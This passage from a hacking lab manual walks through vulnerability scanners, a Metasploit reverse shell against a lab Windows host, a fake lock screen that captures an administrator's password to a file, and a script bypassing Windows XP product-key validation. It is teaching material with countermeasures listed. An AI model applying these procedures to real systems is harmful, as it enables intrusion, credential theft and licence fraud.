Security Team Shadow Security Scanner Executive Summary	1.	10
•		
On 11/18/2005 10:26:56 PM Shadow Security Scanner performed a Number Of Vulnerabilities	By Risk Level	
vulnerability assessment of 1 system(s) in order to determine the security 91	0	
posture of those systems and to outline fixes for any found vulnerabilities.		
Done	Ry Computer	
🖹 Start 🛛 🍏 🍏 🗐 🖸 C:\WINNT\S 🔍 E:\X\Window 🔘 Sss 🖉 My Documents 🖉 E:\Docume		10:28 PM
	20	

By scrolling further down the report, the details of the scan will be revealed, along with the details of how to correct the vulnerabilities.

👰 Windows 2000 Professio	nal - YMware Workstation	_ 🗆 🗙
File Edit View VM Te	am Windows Help	
• • • • • •		
A Home BWindows 200	10 Professional 🔐 Red Hat Linux 🛛 🙀 Red Hat Linux 8 Server 🛛 🚑 Windows 2000 Server 🛛 🙀 Windows	4 > x
🚰 C:\Documents and Setti	ngs\Administrator\My Documents\Lab 74 Results.html - Microsoft Internet Explorer	_ 8 ×
Eile Edit View Favorit	ies Iools Help	100
← Back → → → 🙆 😰	🖄 🔍 Search 📾 Favorites 🎲 History 🖏 - 🎒	
Address 🖉 C:\Documents a	nd Settings\Administrator\My Documents\Lab 74 Results.html 🗾 🔗 Go	Links »
		_
FTP Servers: Anonymo	us FTP	
Port:	21	
Description	It is recommended that you disable anonymous FTP access if it is not needed. Anonymous FTP	
	access can lead to an attacker gaining information about your system that can possibly lead to the	m
D:-1. T1.	gaining access to your system.	
KISK Level: Ham Ta Eim	Medum E-flow www.FTD comes is show to show to show to show the FTD	
HOW TO FIX:	CANT 1000 0407	
CIL	CA14-1333-0437	
FTP Servers: Microsoft	IIS FTP Denial of Service Vulnerability	
Port:	21	
Description	Due to a flaw in the pattern-matching function used by FTP commands, denial of service attacks	can
	be successfully launched. If a user submits an FTP command along with a filename containing	
	specially placed wildcard sequences, the pattern-matching function will not allocate sufficent mem	ory.
Dick Lovel	Resulting in his experiencing demai of service condition.	
How To Fire	Ingri Install ITS natabas	
Related Links	Microsoft ITS 4 0 Datch1	
itelateu Ennts.	Microsoft IIS 4.0 Patch2	
	Microsoft IIS 5.0 Patch	-
Done	My Computer	
🏦 Start 🛛 🕤 🙆 🗊	C:\WINNT\S CE:\X\Window CSss My Documents C:\Docume C:\Docume	0:29 PM

At the end of the report a *Glossary* is conveniently available for review.



*Note: Shadow Security Scanner is an excellent vulnerability scanner, which is comparable to the more expensive scanners like Retina. At the time of this writing the cost for the full version of Shadow is \$372.70.

Lab 71: Internet Vulnerability Scanner

Assessment of Target Security: Cerberus

Prerequisites: None

Countermeasures: ACLs, Bastion Computer, host-based firewalls

- **Description:** Cerberus is an Internet scanner that looks for vulnerabilities in Web, FTP, SMTP, POP3, NT, NetBIOS, MS SQL, and others. The scanner runs about 300 scans and generates HTML reports.
- **Procedure:** Start, define the parameters, select the target, and initiate the scan.

Double-click on the cis icon to start the Cerberus scanner.



The Cerberus scanner starts.



Click the **M** button on the toolbar. The **Select Scan Modules** screen will appear.



In this example, All was selected. Click OK.



Click on the **house** \square icon on the toolbar. The **Choose host to scan** screen will appear.

🖉 Windows 2000 Professional - YMware Workstation	_O×
File Edit View VM Team Windows Help	
🏠 Home 🖶 Windows 2000 Professional 🔐 Red Hat Linux 👫 Red Hat Linux 8 Server 📑 Windows 2000 Server 👘 Windows	4 > x
Cerberus Internet Scanner	_ 8 ×
Choose host to scan	
Select Cancel	
😹 Start 🛛 🖉 🛱 🕽 🔤 C:\WINNT\System32\cmd 🕞 E:\X\Windows\Cerberus 🛛 🖉 Cerberus Internet Sca 🛛 🕀 🖗 🚇	11:38 PM

Enter the **IP address** of the target. Click **Select**.

💽 Windows 2000 Professional - YMware Workstation	. 🗆 🗙
File Edit View VM Team Windows Help	
🟠 Home 📑 Windows 2000 Professional 📑 Red Hat Linux 👔 Red Hat Linux 8 Server 📑 Windows 2000 Server 📑 Windows 4	► ×
Cerberus Internet Scanner	1 II X
Choose host to scan	
Select Cancel	
172.16.1.46	
😹 Start 🛛 🖉 🍘 🕄 🖉 C:\WINNT\System32\cmd 🔤 E:\X\Windows\Cerberus 🛛 🖉 Cerberus Internet Sca 🛛 🛞 🚇 11:3	38 PM
	(U))

Click on the **S** button on the toolbar. The scan of the target will initiate. As each module is finished, the word **completed.** will appear to the right of the module name.



Be patient, as a few of the areas may take a couple of minutes to complete.



Click the Report \Box button on the toolbar. The autogenerated HTML report will open in a Web browser.



By clicking on each section on the left side of the report, you can display the details on the right side of the screen.



If an area is selected where Cerberus was unable to gather any data, you will receive a notice similar to the following:

🔄 Windows 2000 Professional - VMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Home 📑 Windows 2000 Professional 🚯 Red Hat Linux 👔 Red Hat Linux 8 Server 🚯 Windows 2000 Server 🚯 Windows	4 > x
Cerberus Internet Scanner Results - Microsoft Internet Explorer	<u>_8×</u>
Ele Edit View Favorites Tools Help	
Gerch → - G C A Gerch B Favorites GHistory	
Address @ E:\X\Windows\Cerberus\Reports\172.16.1.46.html	Links »
Service Reports	
Web Service	
MS SQL Service	
FTP Service	
NetBIOS	
<u>NT Registry</u>	
NT Services	
SMTP Service	
POP3 Service	
Portmapper	
Finger	
🕂 Start 🛛 🖉 🕼 🛄 🔤 C:\WINNT\Syste 🔄 E:\X\Windows\Ce 🖉 Cerberus Internet 🖗 Cerberus Internet	1:42 PM
	🖽 🕪 //.

The **NetBIOS Session Service** section will display any shares on the target, including any hidden shares detected.



*Note: For a quick look at a Windows target, Cerberus is a fast, efficient tool.

Lab 72: WHAX — Auto Exploit Reverse Shell

Automatically Exploit the Target: AutoScan

Prerequisites: WHAX (formerly Whoppix)Countermeasures: Secure ACLs, Bastion computersDescription: Whoppix is a stand-alone penetration testing live CD based on Knoppix with the latest tools and exploits.Procedure: Boot from the WHAX CD, set parameters, and execute.

Place the WHAX CD in the drive and boot the virtual computer.

*Note: Because WHAX runs from the CD itself we will not install the VMware Tools. You may need to manually adjust the video settings, which are outlined below. There is an option to install WHAX to the hard drive but I have had several issues with it installing correctly.



The WHAX CD will begin to boot.



Be patient when the boot screen displays **copying rootchanges** as this process may take a few minutes.



The login screen will be displayed. WHAX is nice enough to tell you the login name and password. **Username: root / Password: toor** Log into WHAX.



The next step is to verify the video resolution settings for Xwindows. Type **vi /etc/X11/xorg.conf** and press **Enter**.



The contents of the **xorg.conf** file will be displayed.



Scroll down until you see the Subsection "Display" area.

💽 WHAX - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🔐 Windows 2000 Advanced Server 🛛 🗿 Red Hat Linux 8 Server 🗗 Red Hat Linux 🔐 WHAX	< ▷ ×
# DefaultDepth 8	
# DefaultDepth 16	
# DefaultDepth 24	
# "1024x768" is also a conservative usable default resolution. If you	
# have a better monitor, feel free to try resolutions such as	
# 1152X064 , 1260X1024 , 1600X1200 , and 1600X1400 (or Whatever your # card/monitor can produce)	
Subsection "Display"	
Depth 8	
Modes 1024x/b8 800xb00 640x480 FndSubsection	
Subsection "Display"	
Depth 16	
Modes "1024x768" "800x600" "640x480"	
EndSubsection	
Subsection "Display" Double 24	
Modes "1024×768" "800×600" "640×480"	
EndSubsection	
Subsection "Display"	
_ Depth 32	01%
A You do not have VMware Teole installed	512

Press the **Insert** key and the word **–INSERT–** will appear across the lower left side of the screen.

👰 WHAX - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
👫 Windows 2000 Advanced Server 🛛 🗿 Red Hat Linux 8 Server 🗗 Red Hat Linux 🔐 WHAX	< ▶ ×
# DefaultDepth 8 # DefaultDepth 16 DefaultDepth 24 # DefaultDepth 32	
# "1024x768" is also a conservative usable default resolution. If you # have a better monitor, feel free to try resolutions such as # "1152x864", "1280x1024", "1600x1200", and "1800x1400" (or whatever your # card/monitor can produce)	
Subsection "Display" Depth 8 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 16	
Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 24	
- Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 32 INSERT 443,1	91%
A You do not have VMware Tools installed.	😧 🕖) //.

Because the default depth is set to 24 we only need to change that one entry. You can edit the line directly, but for this example, I simply stopped the original line from being executed by placing a **#** sign in front of the text.

[화] WHAX - VMware Workstation	<u>- 🗆 ×</u>
File Edit View VM Team Windows Help	
📲 Windows 2000 Advanced Server 🛛 🗿 Red Hat Linux 8 Server 🖓 Red Hat Linux 🔒 WHAX	∢ ⊳ ×
# DefaultDepth 8	
# DefaultDepth 16 DefaultDepth 24	
# DefaultDepth 24	
# "1024x768" is also a conservative usable default resolution. If you	
# have a better monitor, feel free to try resolutions such as	
# "1152×864", "1280×1824", "1600×1200", and "1800×1400" (or whatever your	
* card/Monitor can produce)	
Subsection "Display"	
Depth 8	
Modes "1024×768" "800×600" "640×480"	
EndSubsection	
north 16	
Modes "1024×768" "800×600" "640×480"	
EndSubsection	
Subsection "Display"	
#MOQES_1024X768_800X600_640X480 FudSubsection	
Subsection "Display"	
Depth 32	
INSERT 443,2	91%
🕂 You do not have VMware Tools installed.	🔛 🕖 //

Press the **Enter** key to start a new line and type the desired screen resolution:

Modes "800x600"



Press the **Esc** key to stop the Insert mode. The word **–INSERT–** will disappear from your screen.

💽 WHAX - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🔐 Windows 2000 Advanced Server 🗿 Red Hat Linux 8 Server 🗿 Red Hat Linux 🔐 WHAX	∢ ⊳ ×
# DefaultDepth 8 # DefaultDepth 16 DefaultDepth 24 # DefaultDepth 32	
# "1024x768" is also a conservative usable default resolution. If you # have a better monitor, feel free to try resolutions such as # "1152x864", "1280x1024", "1600x1200", and "1800x1400" (or whatever your # card/monitor can produce)	
Subsection "Display" Depth 8 Modes "1024x768" "800x600" "640x480" EndSubsection Depth 16 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 24 Modes "800x600"	
Hodes 0005000 # Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" 443.24	01%
You do not have VMware Tools installed.	

Now save the file by typing **wq!** and pressing **Enter**. You must include the **!** to force the writing of this file as it is set to Read Only.



You will receive verification that the file was written.

WHAX - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🌇 Windows 2000 Advanced Server 🛛 🙀 Red Hat Linux 8 Server 🖓 Red Hat Linux 🖓 WHAX	∢
# DefaultDepth 16 DefaultDepth 24	
# DefaultDepth 32	
# "1024x768" is also a conservative usable default resolution. If you	
# have a better monitor, feel free to try resolutions such as	
# 1152x064 , 1260x1024 , 1600x1200 , and 1600x1400 (or whatever your # card/monitor can produce)	
Subsection "Display"	
Uepth 8 Modes "1824/768" "888/668" "648/488"	
EndSubsection	
Subsection "Display"	
Depth 16	
Modes "1024×768" "800×600" "640×480"	
EndSubsection	
Subsection "Display"	
Jepth 24	
Modes 800X500 "988x588" "648x498"	
FindSubsection	
Subsection "Display"	
"/etc/X11/xorg.conf" 486L, 15952C written	
root@slax:~#	
🔬 You do not have VMware Tools installed.	😨 🕬 //.

Now start the Graphical User Interface (GUI) by typing **startx** and pressing **Enter**.



The Xwindows environment will boot up.





The WHAX desktop will be displayed.

Click the **S** button on the taskbar, then select **/WHAX Tools/Scanners/Port-Scanners/AutoScan(0.9.5)**. The AutoScan application will display a splash screen.



AutoScan does not appear like most applications when started. Instead, it places an icon over by the clock on the taskbar. Double-click on that icon.



The AutoScan Start screen appears. Click the Preferences button.



The current network Preferences will be displayed.

🖉 WHAX - YMware Workstation	_O×
File Edit View VM Team Windows Help	
🛐 Windows 2000 Server 👔 Windows 2000 Advanced Server 🥻 Red Hat Linux 8 Server 🗗 Red Hat Linux 🔐 Windows	∢ ▷ ×
System	
Preferences	
Interfaces Interface: eth0 V	
Thread max 50	
Private Subnet	
Mask subnet	
255.255.0 132.106.0.0	
255.0.0. 👻	
Add Delete Vok X	Cancel
2	
🖓 Save 💥	Cancel
📲 🗑 💥 🏠 😌 💽 🔹 🐨 Start 💿 Preferences 🚾 🔍	▶ 1 2 22:04
⚠ You do not have VMware Tools installed.	

Highlight the current network.

💽 WHAX - YMware Workstation	
File Edit View VM Team Windows Help	
😰 Windows 2000 Server 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 8 Server 🗿 Red Hat Linux 🔐 WHAX	∢ ▷ ×
*	
System	
Preferences	
w Interfaces Interface: ■ eth0 ▼	
Thread max 50	
Private Subnet	
Mask subnet	
255.255.0 192.168.0.0	
-5	
255.255.255.0	
Dam San	
	.er
A ver death land land land land land land land land	
Chi tou du nocihave viriwate rous inscaleu.	

Edit the network settings to match your current network.

🔊 WHAX	- VMwa	re Work	statior	1									-	
File E	Edit Vie	w VM	Team	Window	s Help									
		0	0	A 10				3						
Vinde	ows 200) Server		/Vindows 2	2000 Adv	anced Serv	er 🗿 F	Red Hat Linux	8 Server	Red Hat Linux	🔒 WHAX		•	⊳ ×
	_													
Syster	n													
í í	•						Pre	eferences					\mathbf{X}	
	9	Interfac	es	Interfa	ce :	eth0	_							
	ngo.	Prefere	nces	Threa	d max	50	÷							
	_		_	Private S	ubnet -									
				255	Ma	ask	102	162.0.0		subnet				
				235	.200.20	5.0	192	.155.0.0						
				25	5.255.2	55.0	•	172	16	1				
						- 1		- i				- i		
					Add		of Delet	e		V Ok	Car	ncel		
										📓 Save	Car	ncel		
K -		6	9		-	🕑 Sta	rt		🕑 Pref	erences		1 2	55	:07
🕂 You do	not have	VMware '	rools in:	stalled.								입니幅		(1)

Make sure that the correct **interface** is selected. Click the **OK** button. Click the **Save** button.

💽 WHAX - YMware Workstation	
File Edit View VM Team Windows Help	
🛐 Windows 2000 Server 🛛 🚯 Windows 2000 Advanced Server 🖉 Red Hat Linux 8 Server 📑 Red Hat Linux 🔐 WHAX	♦ ▶ ×
System	
Preferences	
interfaces Interface	
Preferences Thread max 50	
Private Subnet	
Mask subnet	T
255.255.255.0 172.16.1.0	
255.0.0.0 💌	
Plant All Carcel	
Down South	1
A Ven death and Uthers Table to the	
A tou do not have intrivide tools installed.	



You will be brought back to the Start screen. Click the **OK** button.

AutoScan will start and populate the network.

*Note: Be patient in this step as AutoScan may take a minute or so to populate the list.



Expand the devices found by clicking on the + symbol and locate a target. Notice the IP address of the target when you select it.



Right-click the target and select Script, then Metasploit.



The Metasploit settings screen will be displayed.

File Edit View VM Team Windows Help	
VModows 2000 Server VModows 2000 Advanced Server	Tred Hill Linux WHAX Difference Can 0.55 R1 Image: Can 0.55 R1 Image: Can 0.55 R1 Image: Can 0.55 R1 16 1.59 10 0.2 9 86 93 88] Image: Can 0.55 R1 Image: Can 0
C Reverse Shell	÷ * *
Payload options Listening port: 1337	
Specify action Summary Options Exploit	L Neulosissi iniciosolous araionila Neulio
	ระสงีย์

Change Select payload to Reverse Shell.

WHAX - YMware Workstation	
File Edit View VM Team Windows Help	7 200
	180
Windows 2000 Server 🔐 Windows 2000 Advanced Server	Red Hit Linux 8 Server 🛐 Red Hit Linux 🔂 WHAX 4
	CRI D 45 KI 161 591 0.0.29 86 93 881 Vmaxe.inc.] cft Windows 2000 N20005-XJ WORKGROUPJ (10)
Listening port: 1337 Listening host: 192168.65.130	c NetBios-ssn microsoft-ds NFS-or-IIS NetInfo
Specify action Exploit	bai pr
	an 0.95 R1 Wetaspielt settings 1 2 22

Under **Payload options** change the **Listening host** to the network card you are using. Click the **Exploit** button.

*Note: Most readers will not have to make the Listening Host change. In my Virtual Machine I had two virtual network cards (NICs) installed and had to tell AutoScan which one to use.

좶 WHAX - YMware Workstation	
File Edit View VM Team Windows Help	
Windows 2000 Server Webaylott actings Webaylott acting	Red Hit Linux () Server Red Hit Linux () WHAX Feat 10 SS H WHAX 16 1 S9 10 0.2 9 86 93 8B] Vmware. Inc.] eft Windows 2000 H20005-XJ WORKGROUP] (10) (10)
Converting and Shell Poyload aptions Listening port 11337 Listening host 17216139 .specify action <u>Summary Qotions Exploit</u>	C RetBios ssn microsoft ds NPS or IIS NetInfo
図 ■ ● 賞 合 台 🔃 👻 @ AutoSca A Yau danab biew. Weiware Tank ind Aited.	nn 0.95 R1 X Metaspioit settings III 2 22 :22

The appropriate screen, according to the parameters you just set, will appear. In this case, I immediately received a DOS prompt, hopefully from the target.



To verify that I am indeed on the target computer, I type the command **ipconfig** and press **Enter**.



The IP address listed is indeed that of the target.

🗃 WHAX - VMware Workstation							_10
File Edit View VM Team Wind	owes Help						
👔 Windows 2000 Server 👔 Window	1 2000 Advanced Server	a Red I	lat Linux 8 Serve	r 🔓 Red Ha	three Br	HAX	4 P
 Starting Reverse Handler. Starting Reverse Handler. Betected a Windows 2000 target Sending 32 IOE request Fragment Sending the final IOE fragment Got connection from 172,18,1,35 	mstCll (WIN20005-V) " :1337 <-> 172.16.1.59:	:1167					
Microsoft Windows 2000 [Version 5.0 (C) Copyright 1985-1999 Microsoft C	0.2195] Mrp.						
C:\WINNT\system32>ipconfig ipconfig							
Windows 2000 IP Configuration							
Ethernet adapter Local Area Connect	ion 2:						
IP Address	: 172.16.1.59 : 255.255.0.0 : 172.16.0.1	511856					
			3	<u>·</u>			3
	FTP Ministre	msrpc	NetBios-ssn	microsoft-ds	NFS or its	Netinfo	
S = @ # A & .	- أي Autos	ican 0.95 P	1 X m	sfcli	1	9 1	2 22:2

*Note: If you attempt to attack a target and the screen appears, attempts to run, and then disappears, chances are the attack will not work against that target. This does not mean other attacks will not work but the legwork an attacker performs, as outlined in previous labs, tells the attacker which exploit to attempt.

Lab 73: Unique Fake Lock Screen XP

Grab the Administrator Password: Fake Lock Screen XP

Prerequisites: Windows XP

Countermeasures: Strong security policies, strong physical security

- **Description:** Until now, the "Fake" security screen locks did not handle Microsoft's Ctrl+Alt+Del screen. As soon as the computer unlocks, a message box pops up saying you entered the wrong password, so you type it in again carefully; this time Windows logs it and tells you that this will log you off, just like in the real lock screen. The Administrative password will be saved locally on the hard drive.
- Procedure: Start the application, set the parameters, and execute.

From the directory containing the Screen XP application, double-click the appropriate **Lock.exe** icon.



*Note: Which icon? According to the author, the difference is whether or not Windows XP is using Visual Styles. If unsure, try the Lock.exe.

The Screen XP parameters screen will be displayed.


Because the goal of this program is to obtain an Administrative program you want to enter the **Username** of a known Administrative account. In this account the Administrator account is used. Click **Add** (you can add up to 10 usernames).

Windows 2000 Profess	sional - YMware Works	station			_ [] X
File Edit View VM	Team Windows He	lo			
A Home A Windows	2000 Advanced Server	🔐 Red Hat Linux 🛛 🐉 Aust	Windows 2000 Profess	ional St WHAX	×
My Documents	About Coards Author Info				
	This is a list of wald use wald for the fake lock a	rs, add what usemanies are criters. Max users = 10:	Exit		
My Computer	Administrator	Administrator	Save The Options And Lock The Computer.		
65		Remove	PLEASE MAKE SURE TO READ README PIRST AS THIS IS VE	THE RY	
My Network Places		Clear	SCREENS.		
3	The test box below is th	w path and file to log the users	Click here for informat	ion	
Recyce on	E:\pass.bt		Browse		
e	The test box below is the Try to pick the same the	e default username that will appea rig as what happens when you loc	e on the lake lock screen Ik the computer.		
Explorer	DefaultUser				
Ģ	This is the changeable to box. NOTE: Check the bot this one wheet on d	MigBox for the take lock screen it real lock screen list and copy whi Heart complete list and copy whi	the user enters an invalid user in the user at it says, EXTRA NOTE. There is two Mis writed extra the same the second second	test filoves	
Ethereal	similar to the test below	before setting this setting. If you a	till dont understand read the readme. That	dit out	
	This computer is locker	 Only COMPUTER\ Administrato 	r or an administrator can unlock this comp	uher.	
2	Pretty smillar to the setting understand lock the vice	ing above except this not a messa tim computer and look for somethic	ge box but a label. If you dont ng timiliar than in the test box below.		
the Internet	Write it down and write	in the text box below exactly.			
	ONY COMPUTER\Ad	iministrator or an administrator can	uniocii, this computer.		
Astart 3 6 Ci	Program	C. Options	_	8 6 4	5:14 PM
				0.0	00 00

Notice the user's password file location. By default it is **C:\pass.txt**. You can save the file to a network location; an attacker will more than likely do so, saving the file to a location he or she personally has access to or even to a removable pen drive plugged into the computer.

Change the **DefaultUser** text that will appear when the screen is "locked" to a known valid username on the network. In this example, I used **User1**.



Edit the next line of text that will be displayed to the user on the "Locked" screen to the computer name on the network. In this example, I used **W2KP**.



Edit the last line to change the text to match the computer name as before. This name should match the name as above. Click the **Save The Options And Lock The Computer** button

	S	Save The Options	s And Lock	
		the computer		
📓 Windows 2000 Pro	ofessional - YMware Works	station		_0×
File Edit Vew	VM Team Windows He	lo		
n Hume 👔 What	ows 2000 Advanced Server	Et. Red Het Linux Et. Auditor 21	Windows 2000 Profession	a ar where x
My Documents				
	About/Quick Author Info			
	This is a list of valid use	is, add what usemanes are	£ω	
My Computer	Administrator	Administration	Save The Options And Lock	
68		Add	The Computer.	
		Remove	PLEASE MAKE SURE TO READ TH	E
My Network Places		Clear	DIFFERENT TO OTHER FAKE LOO SCREENS	
1				
Recycle Bin	The last has below a li	we path and live to lost the upers	Click here for information	
	password		about the program and the author.	
e	C:\pass.txt	810	WSR	
Internet	The test box below is the Try to pick, the same the	te default username that will appear on t ing as what happens when you look the	he take lock, screen computer.	
0	User1			
Ethereal	This is the changeable box NOTE: Check the but this one varies on d	Maglics for the take lock screen if the u real lock screen first and copy what it is liferent computers. If you don't understar before objective lifer of understar	user enters on invalid user in the user test ays EXTRA NOTE. There is two MigBo of please make sure the you use a mess is referred and the service. The stick	
	This computer is locke	d. Only W2KP\ Administrator or an admi	nistrator can unlock this computer.	
2	Pretty smillar to the set	ing above except this not a message bo	u but a label. If you don't	
the Internet	Write it down and write	tim computer and look for comething un in the text box below exactly.		
	Only W2KP\ Administ	ator or an administrator can unlock this	computer.	
Astart 🖸 🖉	Cal Program	Readme - Notepad	C. Options	2 9 4 7:33 PM

The computer screen will now be "Locked." Notice the username you identified earlier is already filled in.



The user will enter his or her password.



Even if the user enters the correct password, he or she will receive the following error screen. Click **OK**.



The idea is to have a user with Administrative privileges log into the computer to allow the user to reset his or her password since he or she has apparently "forgotten" his or her password.

*Note: With remote Administrative applications in an abundant supply, this tool is only effective if the user can get a user with Administrative privileges to log in locally. In this example, the Administrative user is the Administrator.





The Administrative user will now enter his or her password.

The Administrative user will receive the following caution message about logging off the currently logged-in user. The user will click **OK** and log into the computer. The moment the user logs in, a file will be created and saved into the directory identified earlier (C:\pass.txt).



At a later time (preferably when no one is around), the attacker can return to the exploited computer and browse to the directory containing the password file.



The attacker will of course remove this file, but for this lab I simply opened it. As you will notice the Administrator password is listed in the file.

💽 Windows 2000 Professional - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🏠 Home 🔓 Windows 2000 Advanced Server 📑 Red Hat Linux 🗿 Auditor 2100 🔀 Windows 2000 Professional 🗿 WHAX	×
= Local Disk (C:)	
File Edit View Favorites Tools Help	
j ⇔ Back • ⇒ • 🔄 @ Search P Folders @History P 😰 🧏 🗙 ∞ ⊞•	
Address 🖨 Local Disk (C:)	
Documents Downloads Program Files SPIKEProxy WINNT COMDLG32	
Local Disk (C:) and Settings	
pass - Notepad _ X	
123456	
Modified: 12/26/2005 5:18	
Size: 16 bytes	
Attributes: (normal)	
Type: Text Document Size: 16	
*	
Connect to the Internet	
Bstart 7 @ C Program OLocal Disk (C:)	5:20 PM

*Note: Although this lab requires local access to the computer, take a good look the next time you walk around the office and notice the unlocked workstations just sitting there with no one at the desk. Better yet, take a look at all the computers at your local computer store. They are all unlocked by default and many of them allow anyone to execute anything he or she wants. Many computer stores simply assume that if they do not allow Internet access they are alright, but that is not so.

Lab 74: Bypassing Microsoft Serial Numbers

Bypassing Serial Number Protection: RockXP/Custom Script Windows

Prerequisites: None

- **Countermeasures:** Frequent serial number verification, strong security policy
- **Description:** Like many other companies, Microsoft uses serial numbers to protect its software from being handed out freely. Serial numbers have a flaw as well because with the Internet these numbers can be freely passed out to anyone. Because of this, Microsoft came up with a verification process that validates the product key of the version of Windows (XP) you are running before allowing you to download any updates. Although several "Crack" versions have been released on the Internet, many of them are corrupted or contain viruses or Trojan horses and cannot be trusted. By using one free software package and a custom script, anyone can bypass Windows XP's product key verification or obtain a valid copy of a Microsoft Office product's serial number.
- **Procedure:** Execute the first application, gather the data, insert into the custom script, and execute.

Open the RockXP application by clicking on the **rockxp3.exe** icon.



The RockXP application will start and you are greeted with the *Welcome* screen. Click on **I Agree**.



The remaining program tabs will appear across the top of the application. Click on the **MS Product Key** tab.



By clicking the downward-pointing arrow you can choose from the list of installed Microsoft products installed on the computer.



Select one from the list. The working, valid serial number will be displayed for the application you selected.



Click the **Add to my list** button. The serial number can be saved to a desired location. In this example the serial number was saved as a text file named **Office2003.txt**.



When the file is opened, the serial number is listed as well as the Microsoft application it is assigned to.

*Note: RockXP demonstrates how easy it is for someone to steal serial numbers from Microsoft applications. By combining this application with a script, the actual verification process for the Windows XP product key can be easily bypassed.



Click on the **My Product Key** tab along the top of the application. The product key on the computer will be displayed. (Run this on a Windows XP machine.)



You have the same option as before to save the product key to a file by clicking the **Add to my list** button or you can change the product key to another one by editing the lower text area filled with Xs. (This is not recommended.)

You can also back up the Windows Product Activation (WPA) file by clicking on the **Click here to save WPA.DBL**. For the purposes of this lab, assume that the attacker wants to simply bypass the Windows XP product key verification process on another computer he or she owns and document the product key identified.

Once you have documented (or saved) the product key of a valid Windows XP computer, close the RockXP application.

Open the Notepad application by clicking on **Start/Programs/Accesso**ries/Notepad.



Enter the following text, as shown.

*Note: You are writing a Visual Basic (VB) Script. This book will not go into details of becoming a VB Script programmer; just take it on faith that this script works when typed correctly. For the Xs listed in the script, enter the product key obtained with RockXP. Notice that the second time you enter the product key in the script you need to remove the hyphens.



Save the file as **ChangeVLKey.vbs**, making sure the file type is set to **All Files**. If you forget this step the file will be saved as **ChangeVLKey.vbs.txt**.

🖉 Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
🏠 Home 🛛 🔐 Windows 2000 Advanced Server 📑 Red Hat Linux 📑 Auditor 2100 🔂 Windows 2000 Professional 📑 WHAX	×
🖉 Untitled - Notepad	Ы×
File Edit Format Help	-
if wscript.arguments.count<1 then	
wscript. Save As	
'end if Save in: 🖄 My Documents 💽 🔶 🖻 🗥 🖽 -	
D1m VOL_PROD.	
VOL_PROD_KE History	
for each obj ("win32_wind	
result = 0 Desktop	
if err 🗇 🌇	
WScrip Err.Cl My Documents	
end if	
Next Years My Computer	
My Network P	
Save as type: All Files Cancer	
Encoding: ANSI	
l	-
🗿 🎜 🍘 🇊 🖉 🕼 🗐 🖉 Untitled - Notepad 🖉 🗐 🖉 🖉 9:21	PM
	(U)) //

Place this file onto a computer where you want to bypass the **Windows XP Product Key** verification process and double-click on the file to execute the following:



Execute the script and then perform Windows updates as normal.

*Note: This lab MUST stop at this point. To obtain the knowledge of how to bypass the product key verification process is not illegal in itself. To actually execute this script violates the Microsoft End User Agreement and I am sure several other laws. To actually go out to the Microsoft Web site and perform Windows updates is nothing less than illegal, and I strongly recommend that you do NOT attempt to actually use this lab. The purpose of this lab is to demonstrate exactly how easy it is to bypass the current product key verification process. One final point about this lab is that this bypass only works for the Corporate version of Windows XP.

Lab 75: Vulnerability Exploit

Assessment of Target Security: Web Hack Control Center

Prerequisites: None

Countermeasures: Secure ACLs, Bastion computers, host-based firewalls **Description:** Web Hack Control Center (WHCC) is a Web Server Vulnerability scanner. WHCC gives you the means to identify which security vulnerabilities exist on your Web servers by scanning them for the popular server exploits. The Nikto (Lab 69) database can be imported for use within WHCC.

Procedure: Install, execute against the target(s), and analyze the results.

Double-click on the **whcc-current.exe** file to begin the installation.



Install WHCC with the default options.

WHCC will now complete installing. You must restart the computer before using WHCC. Click **Finish**.



Double-click on the **WHCC** icon on either the desktop or the Quick Launch Bar.

The WHCC application will begin by opening your computer's browser.

- The top left identifies the *Hosts* scanned and associated *Vulnerabilities*.
- The top right displays the Web site in either *Browser View* or *Designer View*, which allows for viewing of the Web site source code.
- The bottom left will list any *Exploits* discovered.
- The bottom right will display any details WHCC has found on exploits.



Click the **Start Scan •** button.

The WHCC Options screen is displayed.

- Enter the **Target IP** or **IP Range**.
- Click on Force Generic Check.
- Click on Automatic Generic Check.
- Make sure **Pop Ups** is set to **No**.
- Leave all other fields blank.
- Click the **Scan** button.

📲 Windows 2000 Server - VMwa	re Workstation	
File Edit View VM Team	Windows Help	
A Home 🔐 Windows 2000 Pro	tessional 👔 Red Hild Linux 🗃 Windows 2000 Server 👔 Vinco	ws 2000 Advanced Server 👔 I 🕨 🗙
http://www.google.com - We	b Hack Control Center 0.4.71	
File Yoew Edit Iook Scon	49	e
+ Bio * + @ [3 @ 3]	Search 🗋 Fevortes 🔐 🖓 🖷 🕲 🕼 🛠 📰 🕨 =	
Address http://www.google.com/		- 260
0 Vulnerable Hotts Logged	Server: www.google.com Type: GMS/2.1	
Construction	Desirver Ves	Rrowser View
Hours T	Tangel Finkarges, 1172 (5.1.44) Cu Son Prote: 50 Prote Server: Son Prote Server: Son Face Moder: 2 Face Moder: 2 Face Generic Drack. Son Automatic Generic Drack. Prop Upor? Or No C' Yes C Ask	Scom
#Start (3) @ (3) 20 (3)	D B Http://www.google.com	(日)(上) 1140 PM
Vous unstant of UManus Tools is on	La data	O in min

The WHCC scanner will start.

Windows 2000 Server - \	Mware Workstati	n	
File Edit View VM 1	Team Windows H	de l	
	N 135 178 1 57	163.63 01 03	
	e 2011 (4 er) EL		
Hone 🔐 Windows 20	00 Protessional	Red Hit Linux 🔐 Windows 2000 Server	Windows 2000 Advanced Server 🌓 (🕨
C:\Program Files\Web H	lack Control Center	whoc.htm - Web Hack Control Center 0.6.71	-10
e yew Edit Iools Sc	can Help		
Back + + + () () ()	R Search C F	wortes Star a B C 2 m > =	
the contraction			
aress morrisonger	come		• e
1 Vulnerable Hosts Logs	ped		
		Designer View	Browser View
a Understable House			
